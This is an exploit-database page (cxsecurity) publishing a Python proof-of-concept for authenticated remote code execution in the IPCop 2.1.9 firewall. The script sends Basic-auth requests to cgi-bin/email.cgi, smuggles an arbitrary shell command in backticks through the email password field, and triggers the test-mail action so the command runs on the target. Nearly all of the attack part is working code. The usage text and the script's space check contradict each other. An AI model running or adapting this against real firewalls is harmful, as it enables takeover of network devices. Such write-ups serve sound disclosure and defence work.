IPCop 2.1.9 Remote Code Execution

2021.08.10
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated) # Date: 02/08/2021 # Exploit Author: Mücahit Saratar # Vendor Homepage: https://www.ipcop.org/ # Software Link: https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.8/ipcop-2.1.8-install-cd.i486.iso - https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.9/ipcop-2.1.9-update.i486.tgz.gpg # Version: 2.1.9 # Tested on: parrot os 5.7.0-2parrot2-amd64 #!/usr/bin/python3 import requests as R import os import sys import base64 import urllib3 R.packages.urllib3.disable_warnings() R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' try: R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' except AttributeError: # no pyopenssl support used / needed / available pass try: hostport = sys.argv[1] assert hostport[:8] == "https://" and hostport[-1] == "/" url = hostport + "cgi-bin/email.cgi" username = sys.argv[2].encode() password = sys.argv[3].encode() auth = base64.b64encode(username+b":"+password).decode() command = sys.argv[4] assert " " in command except: print("[-] Usage https://host:port/ username password command(no spaces) <port for listen with nc - optional - >") exit(1) rheader = {"Authorization":"Basic "+auth, "Origin": hostport, "Referer": url} rdata = { "EMAIL_SERVER": "mucahitsaratar.github.io", "EMAIL_USE_TLS": "auto", "EMAIL_SERVER_PORT": "1337", "EMAIL_USR": "ipcop@localdomain", "EMAIL_PW": f"`{command}`", "EMAIL_FROM": "ipcop@localdomainn", "EMAIL_TO": "ipcop@localdomainnn", "ACTION": "Kaydet" # change here to what is mean the "save && send test mail" in target language } R.post(url,headers=rheader, data=rdata, verify=False) rdata["ACTION"] = "Test postası gönder" # send test mail R.post(url,headers=rheader, data=rdata, verify=False)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top